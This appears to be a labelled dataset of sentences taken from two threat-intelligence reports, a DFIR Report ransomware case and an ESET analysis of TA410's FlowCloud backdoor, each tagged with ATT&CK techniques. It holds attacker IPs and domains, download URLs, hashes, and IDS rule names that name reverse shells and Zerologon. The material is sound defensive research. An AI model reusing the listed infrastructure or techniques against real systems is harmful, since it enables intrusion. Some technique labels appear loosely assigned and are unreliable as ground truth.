{"sentence": "The HTML file displayed the all but familiar message:", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The following Locker files were then deleted: Diamond Model Atomic IcedID: alockajilly.com zoomersoidfor.com choifejuce.lol opiransiuera.com erinindiaka.quest opiransiuera.com zoomersoidfor.com considerf.info antiflamez.bar www.onlinecloud.cloud 64.227.12.180:80 5.196.103.145:443 66.63.188.70:443 178.128.85.30:443 5.252.177.10:443 46.101.19.119:443 Cobalt Strike: fazehotafa.com guteyutu.com 45.66.151.109 172.93.181.165 111.90.143.191 78.128.112.139 Mega User:", "labels": ["T1070.004"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "[email protected][.]me Attacker Infrastructure:", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "199.127.60[.]117 199.101.184[.]230 Computed Invoice-09-28#268_PDF.iso 515047b6ce410001696812bc85e197d1 26b11c95a6a324dbb0ab32428361b0531234ecee 68f971a1b391f809058e83058a2037d29c28a8a21fd618b0d952466c632ff1be documents.lnk 1af7a0e058ce1b63b138a1425a835561 66b8da857c6dc45dea3a9fb17a503b3c2d203245 1ee563caf943d3a7ed315dda9c37f0c9c445eec6dfb78ae196d2989626a0dfec eyewear.bat 0d51c60c67c62836ba0f7948113b3737 a597205ed55b6e6413a17edb62cbb29bda735676 999cba918c297bf0b0d7d4aa9003e6338cc300a9270cc758d1d108c26603417d easygoing.dat f102a95e749d1ee63c71df902856ae51 fda81b5951bb02ef0236088c310d9bc4fa70e1e6 f27d924911a7087928012764358bad9240b2ba8aeeca5e0d717abdbb82344981 rapuab1.dll ce1b0e77a31da8dc68f77a977b04f3e4 5facd0aa9a29e0768ab9f432c79eac173af69711 163800b0fbf1b1b7bbc7f719df421ed717111c7c9ddea9c9b41f898ee22dd51a 9bd6b1f24b9589a3fbc1d54b6e6184b8 f8473c6c8b298a3d72c8ca890667eddab62d2ba8 03a9d6afc99e70333723d921bd1265ac948cdabb8b15689b5ceb1c02365a9572 beacA.dll 1b1497c2758ff5a8ade2df336a7a6c2d d6cc874f84797813c225318b877eace04ca5f5a1 47ed0d1c7d8abc159d1eb2bb9fbe037f38b0846217cc11132652734f93ad5678 beaconM-1664297797-T0B9Z_32-cr.exe dbb08886c60f3c44b377d09bd9d8b6d3 7262b7df4d90409fb141856d9b55792872deda20 8f7cc7cc14a12753d41678981b929546d12218d457a9d22951808cb5f19e549c df5ce1159ef2e257df92e1825d786d87 a7e163eaa0fc2afb9c0d5ac6f79cb3e49919dd3c 842737b5c36f624c9420a005239b04876990a2c4011db87fe67504fa09281031 AD.bat e77f23aac8db0d23196b6bef64fe04fc 90bf77e194970dd74d1b49faf58ae395ce49bb34 c2ebcc389304539bc13c3d2023cf88f9ea0bac7210fefa03f8333eaab0bbb76d ns.bat 7ac356035fce31e9e14c3a3d371ddf41 61f838d9b0998ab23877e86f6e8ba3551799e07c 4f52c7448bdcb4caa2eff701b0f3b60b406aea278ecd5a3b23cac808a65418e7 92edbbeff775928cfc6e3c8efefe4ecc fffa0ce086791c41360971e3ce6a0d1af1701616 fc4da07183de876a2b8ed1b35ec1e2657400da9d99a313452162399c519dbfc6 955d0cf317efe48bf0394330fcd82ebb d84d40038311e188e25c78389b51b900de9c69bd e9da08831e0d4395f697e4f18c87be941bf52c79d84da1cc88186bdea1ebf4f4 lsass.dll adc50d0c1e7bf37288a612a0f278e028 6254e8cca47d87f29e85627a08ba88b79915a459 fafc84466c1ce361bb6ce219bde2b64ca07a6a6feda23f444749ba06c44b0580 397020072f5787dbbc0c344f98623bbd 970e793c86266b20d280c04e0f41ec7ae9c2093c 6511d6e84343c2d3a4cd36853170509e2751e27c86f67c6a031dc88e7e495e48 601d613bff412d245e3edf46dc499d83 a39b9119003c63583e2a0f11f19f3e6050399176 2a2c83a7c8cd33e45dc14b8d955e00161580d6d2736f4e75a235aa3eb2f21528 locker_32.dll 131d277cfbc9f4b2d667150d84ad503d f05ff93ee4d2f31bc70c0484a559d562203b7700 a378b8e9173f4a5469e7b5105be40723af29cbd6ee00d3b13ff437dae4514dff license.dat b31de50a57e8cb73c9efda8b97ffa261 a7e3f617644599ec695da84d140a7b69c392a421 55be890947d021fcc8c29af3c7aaf70d8132f222e944719c Network ET HUNTING Suspicious Empty SSL Certificate - Observed in Cobalt Strike ET Threatview.io High Confidence Cobalt Strike C2 IP group 2 ET INFO Pastebin-style Service (textbin .net in TLS SNI) ET INFO Splashtop Domain (splashtop .com) in TLS SNI ET INFO Splashtop Domain in DNS Lookup (splashtop .com)", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "ET MALWARE Meterpreter or Other Reverse Shell SSL Cert ET POLICY PE EXE or DLL Windows file download HTTP ET INFO Dotted Quad Host DLL Request ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response ET HUNTING Suspicious lsass.exe in URI ET MALWARE Win32/IcedID Request Cookie ET POLICY SSL/TLS Certificate Observed (AnyDesk Remote Desktop Software) ET USER_AGENTS", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "AnyDesk Remote Desktop Software User-Agent ET EXPLOIT Possible Zerologon Phase 1/3 - NetrServerReqChallenge with 0x00 Client Challenge (CVE-2020-1472) ET EXPLOIT Zerologon Phase 2/3 - NetrServerAuthenticate2 Request with 0x00 Client Challenge and Sign and Seal Disabled (CVE-2020-1472) M1 ET EXPLOIT Zerologon Phase 3/3 - Malicious NetrServerPasswordSet2 (CVE-2020-1472)", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Sigma Yara win_cobalt_strike_auto CobaltStrike__Resources_Artifact32_and_Resources_Dropper_v1_45_to_v4_x.yara https://github.com/The-DFIR-Report/Yara-Rules/blob/main/18041/18041.yar Spearphishing Attachment - T1566.001 Windows Management Instrumentation - T1047 Windows Command Shell - T1059.003 Malicious File - T1204.002 PowerShell - T1086 Service Execution - T1035 Scheduled Task - T1053.005 Exploitation for Privilege Escalation - T1068 Access Token Manipulation - T1134 Regsvr32 - T1218.010 Rundll32 - T1218.011 DCSync - T1003.006 LSASS Memory - T1003.001 Domain Trust Discovery - T1482 System Information Discovery - T1082", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Remote System Discovery - T1018 Group Policy Discovery - T1615 System Language Discovery - T1614.001 System Time Discovery - T1124 Network Share Discovery - T1135 Domain Account - T1087.002 File and Directory Discovery - T1083", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Remote Desktop Protocol - T1021.001 SMB/Windows Admin Shares - T1021.002 Lateral Tool Transfer - T1570 Windows Remote Management - T1021.006 Local Data Staging - T1074.001 Web Protocols - T1071.001 Exfiltration to Cloud Storage - T1567.002 Data Encrypted for Impact - T1486 Account Access Removal - T1531 Disable or Modify Tools - T1562.001 Mark-of-the-Web Bypass - T1553.005 System Owner/User Discovery - T1033 S0002 - Mimikatz S0154 - Cobalt Strike S0359 - Nltest S0039 - Net S0096 - Systeminfo S0100 - IPconfig S0552 - AdFind Internal case #18041", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "ESET researchers reveal a detailed profile of TA410: we believe this cyberespionage umbrella group consists of three different teams using different toolsets, including a new version of the FlowCloud espionage backdoor discovered by ESET.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "ESET researchers have documented and analyzed TA410 activity going back to 2019.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "TA410 is a cyberespionage umbrella group loosely linked to APT10, known mostly for targeting US-based organizations in the utilities sector, and diplomatic organizations in the Middle East and Africa.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "TA410 has been active since at least 2018 and was first publicly revealed in August 2019 by Proofpoint in its LookBack blogpost.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "A year later, the then-new and very complex malware family called FlowCloud was also attributed to TA410.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In this blogpost, we provide a detailed profile of this APT group, including its modus operandi and toolset that includes a new version of FlowCloud, discovered by ESET.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This very complex backdoor contains interesting espionage capabilities.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "ESET will present its latest findings about TA410, including results from ongoing research, during Botconf 2022.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "For YARA and Snort rules, consult ESET’s GitHub account.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Key points in this blogpost: TA410 is an umbrella group comprised of three teams ESET researchers named FlowingFrog, LookingFrog and JollyFrog, each with its own toolset and targets.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "ESET telemetry shows victims all around the world, mainly in the governmental and education sectors.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "TA410 had access to the most recent known Microsoft Exchange remote code execution vulnerabilities, e.g., ProxyLogon in March 2021 and ProxyShell in August 2021.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "ESET researchers found a new version of FlowCloud, a complex and modular C++ RAT.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It has several interesting capabilities, including: Controlling connected microphones and triggering recording when sound levels above a specified threshold volume are detected.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Monitoring clipboard events to steal clipboard content.", "labels": ["T1005"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Monitoring file system events to collect new and modified files.", "labels": ["T1005", "T1113"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Controlling attached camera devices to take pictures of the compromised computer’s surroundings.", "labels": ["T1113"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "FlowCloud deploys a rootkit to hide its activity on the compromised machine.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The LookBack backdoor utilized by TA410 uses a custom network protocol, which can function over HTTP or raw TCP, for C&C server communications.", "labels": ["T1071.001", "T1095"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "TA410 is one of the users of the Royal Road malicious document builder.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "TA410 teams compromise their targets in various ways, which indicates to us that those victims are targeted specifically, with the attackers choosing which entry method has the best chance of infiltrating the target.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The first stage of the FlowCloud version identified by ESET researchers can check whether specific security software is installed on the machine it tries to compromise, but this isn’t implemented in the loaders we analyzed.", "labels": ["T1518.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "However, we found a custom AntivirusCheck class, which can check running processes against a hardcoded list of executable filenames from known security products, including ESET products.", "labels": ["T1057", "T1518.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In case one of these products is detected, FlowCloud goes through its regular loading process and cancels the auto_start_after_install configuration value.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Even though we believe that this version of FlowCloud is still undergoing development and testing, the cyberespionage capabilities of this version include the ability to collect mouse movements, keyboard activity, and clipboard content along with information about the current foreground window.", "labels": ["T1056.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This information can help attackers understand stolen data by contextualizing it.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "FlowCloud can also gather information about things happening around the victim’s computer by taking pictures using connected camera peripherals and recording audio using a computer’s microphone.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This latter function is triggered by any sound over a threshold of 65 decibels, which is in the upper range of normal conversation volume.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Attribution ESET researchers believe that TA410 is composed of three different teams, using very similar tactics, techniques, and procedures (TTPs) but different toolsets and exiting from IP addresses located in three different districts.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "These teams, referred to below as FlowingFrog, LookingFrog, and JollyFrog, have overlaps in TTPs, victimology and network infrastructure.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "FlowingFrog uses Royal Road RTF documents, a first-stage implant called Tendyron, and a very complex second-stage backdoor called FlowCloud.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "LookingFrog uses a first-stage backdoor called X4, and LookBack as a second stage.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "JollyFrog uses only generic malware families such as Korplug (aka PlugX) and QuasarRAT.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Part of the activity of this team was described by Fortinet, who attributed the activity to APT10. ESET researchers, however, believe this activity is different from the operations that APT10 (aka A41APT) has conducted recently.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "FlowingFrog and JollyFrog share network infrastructure – more precisely, the domain ffca.caibi379[.]com, as mentioned by Proofpoint.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "FlowingFrog and LookingFrog ran a phishing campaign at the same time against the same targets, as also mentioned in the same Proofpoint article.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In ESET telemetry, we do not see any other overlap between these subgroups.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "We believe that these subgroups operate somewhat independently but that they may share intelligence requirements, an access team that runs their spearphishing campaigns, and also the team that deploys network infrastructure.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Victimology Most TA410 targets are high-profile organizations in the diplomacy and education sectors, but we have also seen victims in the military sector, a manufacturing company in Japan, a mining company in India, and a charity in Israel.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "According to ESET telemetry, the victims are located in Africa, Asia, the Middle East, and Europe.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Interestingly, there is no clear segmentation of the targeting (by sector or geography) among the different teams.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "An element worth mentioning is that TA410 targets foreign individuals in China.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In ESET telemetry, we have observed this as having happened at least twice: for instance, one victim is a French academic, and another is a member of a diplomatic mission of a South Asian country in China.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Since 2018, we have seen the following targets, also depicted in Figure 1: FlowingFrog: University, foreign diplomatic mission of a South Asian country in China, mining company LookingFrog: Diplomatic missions, charity, government and industrial manufacturing JollyFrog: Education, church, military, diplomatic mission Figure 1.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Map of countries and verticals targeted by TA410 Initial compromise and typical TTPs If we exclude the different backdoors, the three teams use a similar modus operandi.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "They compromise their targets either by spearphishing, according to Proofpoint, or, for LookingFrog and JollyFrog, by compromising a web-facing application such as Microsoft Exchange or SharePoint.", "labels": ["T1190"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This could indicate that victims are targeted specifically, with the attackers choosing which entry method is the best for a given target.", "labels": ["T1190"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The public-facing application compromise approach is what we have seen the most.", "labels": ["T1190"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Attackers linked to LookingFrog exploited Microsoft SharePoint servers in 2019 to gain code execution, probably by leveraging CVE-2019-0604.", "labels": ["T1190"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "They then dropped an ASPX webshell that was used to install other malicious components.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "These were either dropped directly via the webshell or downloaded from a remote server using certutil.exe, a known LOLBin.", "labels": ["T1105"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In 2020, we saw further exploitations by JollyFrog, of Microsoft SQL servers and IIS servers running custom applications.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In August 2021, we observed LookBack being loaded by an IIS worker process on a server belonging to an industrial manufacturing company in Japan.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This happened following the exploitation of the Exchange ProxyShell vulnerability on that server, as we describe in ESET Threat Report T3 2021.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This shows that LookingFrog operators closely follow the discovery of RCE vulnerabilities in popular server applications and quickly make use of any available exploit in order to gain control of unpatched servers run by organizations on their target lists.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In addition to the full-featured backdoors analyzed in the following sections, these attackers use a variety of tools such as vulnerability scanners, exploits from the Equation Group leaks, proxy/tunneling utilities (HTran, LCX, EarthWorm), and lateral movement scripts such as WMIExec. Arsenal TA410 – FlowingFrog FlowingFrog uses a first stage that ESET researchers have named the Tendyron downloader, and a complex second stage named FlowCloud, so named by the developers in its modules’ PDB paths.", "labels": ["T1047", "T1090"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Royal Road and Tendyron downloader Royal Road is a malicious document builder used by several cyberespionage groups (see the analysis by nao_sec).", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Files built with this tool are RTF documents exploiting Equation Editor N-day vulnerabilities such as CVE-2017-11882.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "TA410 operators always use the Royal Road encoding bytes: A9 A4 6E FE, as seen in Figure 2. Figure 2.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Encoded Royal Road payload On October 13th 2020, we noticed that a new Royal Road RTF document, shown in Figure 3, had been uploaded to VirusTotal.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Royal Road RTF document found on VirusTotal (SHA‑1: ADD5B4FD9AEA6A38B5A8941286BC9AA4FE23BD20)", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "When opened, the document triggers the injection of a custom downloader – a PE executable – into an iexplore.exe process.", "labels": ["T1055"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The PE resources 103, 104 and 105 contain the payload URLs, XORed with 0xD3.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The following files are downloaded and written to disk: http://103.139.2[.]93:1702/tdr.dat written to %localappdata%\\Tendyron\\Tendyron.exe (SHA-1: 09C76522136B5E9BAB74381FEEE265F7E9B1D550) http://103.139.2[.]93:1702/okt.dat written to %localappdata%\\Tendyron\\OnKeyToken_KEB.dll (SHA‑1: F359D3C074135BBCA9A4C98A6B6544690EDAE93D) http://103.139.2[.]93:1702/md.dat written to %localappdata%\\Tendyron\\Tendyron.conf (we were not able to retrieve this file)", "labels": ["T1105"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Finally, this process separately downloads http://103.139.2[.]93:1702/t86.dat (resource 101), loads it into memory, and calls its startModule export.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Unfortunately, we were not able to retrieve this sample.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Tendyron.exe is a legitimate executable, signed by online-banking security vendor Tendyron Corporation, and that is vulnerable to DLL search-order hijacking.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Persistence for the downloaded payload is established via the Tendyron value under the Run key HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run.", "labels": ["T1547.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "When executed, Tendyron.exe loads the malicious OnKeyToken_KEB.dll.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The export OnKeyT_ContextInit contains code that decrypts hardcoded shellcode (see Figure 4) and injects it into iexplore.exe using WriteProcessMemory.", "labels": ["T1055", "T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Shellcode decryption loop The next stage, injected into iexplore.exe, is a backdoor written using the Microsoft Foundation Class (MFC) framework.", "labels": ["T1055", "T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It also contains RTTI symbols and thus a few C++ class names: ClientSocket Manager DllManager KernelManager These class names are the same as used in Farfli/Gh0stRAT, a backdoor that has been used for more than 10 years to conduct (mostly) cyberespionage operations.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Its source code was leaked and is now available on GitHub.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Thus, we believe that TA410 developers reused code copied from Farfli.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The C&C server is hardcoded, in cleartext, in the sample; in this specific case, it is set to 114.118.83[.]141.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "On VirusTotal, as shown in Figure 5, we can see one more HTTP request to 103.139.2[.]93 was triggered during the execution of the RTF file.", "labels": ["T1071.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The result of the request to http://103.139.2[.]93:1702/SL3716/S8437AEB.DAT was recorded by VirusTotal and the SHA-1 of this encrypted file is 140F81037A76B7B16A00E1D5E0E2CD9F6687F642.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This URI is typical of those used to download FlowCloud, a complex C++ implant described in the next section.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Figure 5. URL requests seen by the VirusTotal sandbox during execution of the malicious RTF document", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The identical encrypted file was also downloaded from http://114.55.109[.]199:56022/SL3716/S8437AEB.DAT by a FlowCloud dropper version 4.1.3 (SHA‑1: 014421BDB1EA105A6DF0C27FC114819FF3637704).", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "A summary of the compromise chain is provided in Figure 6. Figure 6.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Compromise chain from the Royal Road document to FlowCloud FlowCloud FlowCloud is a complex implant written in C++.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It consists of three main components, deployed in a multistage process that uses various obfuscation and encryption techniques to hinder analysis.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Multiple versions of FlowCloud have been identified since 2020, most notably versions 4.1.3 and 5.0.1 described by Proofpoint.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In this section, we analyze FlowCloud versions 5.0.2 and 5.0.3.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Contrary to those previously found, the samples we obtained for version", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "5.0.2 contain verbose error messages and meticulous logging.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This deployment process is very similar to the one described by Proofpoint for version 5.0.1.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The three main components are a driver with rootkit functionality, a simple persistence module, and a custom backdoor.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "We describe these in detail in the upcoming sections.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Loader (ClientLdrExe)", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The first stage is responsible mostly for creating the files and registry keys used by the other stages.", "labels": ["T1112"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The values for these executables and configuration data can be found, encrypted, in the loader’s resource section.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Table 1 contains an overview of these resources and their use.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Contents of the dropper’s resources Resource IDRoleInternal name 100FlowCloud RAT DLLfcClientDll 10132-bit rootkit driverDriver 10264-bit rootkit driverDriver 103DLL hijacking vulnerable appN/A 104Shellcode loaded by the malicious library in the DLL hijackingSETLANG_dlcore 105Shellcode that loads fcClient (unused)N/A 106Final dropper stagefcClient 10732-bit persistence modulefcClientWD_x86 10864-bit persistence modulefcClientWD_x64 109Legitimate library used for module stompingslam 110DLL used for hijackingXXXModule_dlcore0 1000Protobuf serialized FlowCloud configurationN/A 1001Dropper configurationN/A 2000Used as an alternative or extension to resource 2001N/A 2001Path to the registry key for the PrintProcessor service (used by the driver)N/A 10000Installation configurationN/A In the instances we observed, most resources are written to disk encrypted, and only decrypted in memory when needed.", "labels": ["T1027", "T1112", "T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In some cases, they are then re-encrypted but with a different key.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This technique makes it harder to dump the plaintext values from the process’s memory and to analyze exit dumps.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The paths and registry keys to use, and whether they should be decrypted before being written, are defined in the installation configuration.", "labels": ["T1112", "T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The samples we analyzed all store their files in the %ProgramFiles%\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\ directory; we believe that this is the default value.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "FlowCloud uses filenames that are either similar to those of legitimate Windows files (e.g., rebare.dll which could be mistaken for rebar.dll) or innocuous looking (e.g., AC146142) to avoid suspicion.", "labels": ["T1036.005"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Figure 7 presents a graphical overview of the deployment process and its elements.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "We explain each of the steps in further detail in the upcoming sections.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "FlowCloud deployment process First, the loader decrypts and parses the embedded installation configuration, which uses the Windows INI format.", "labels": ["T1140"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This configuration defines the malware’s install path along with the filename or registry key where each embedded resource is to be written.", "labels": ["T1112"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "The same values are hardcoded in the following stages, which leads us to think that the samples are generated using a builder.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "In a sample we analyzed, this configuration is accompanied with comments explaining the values for some sections.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
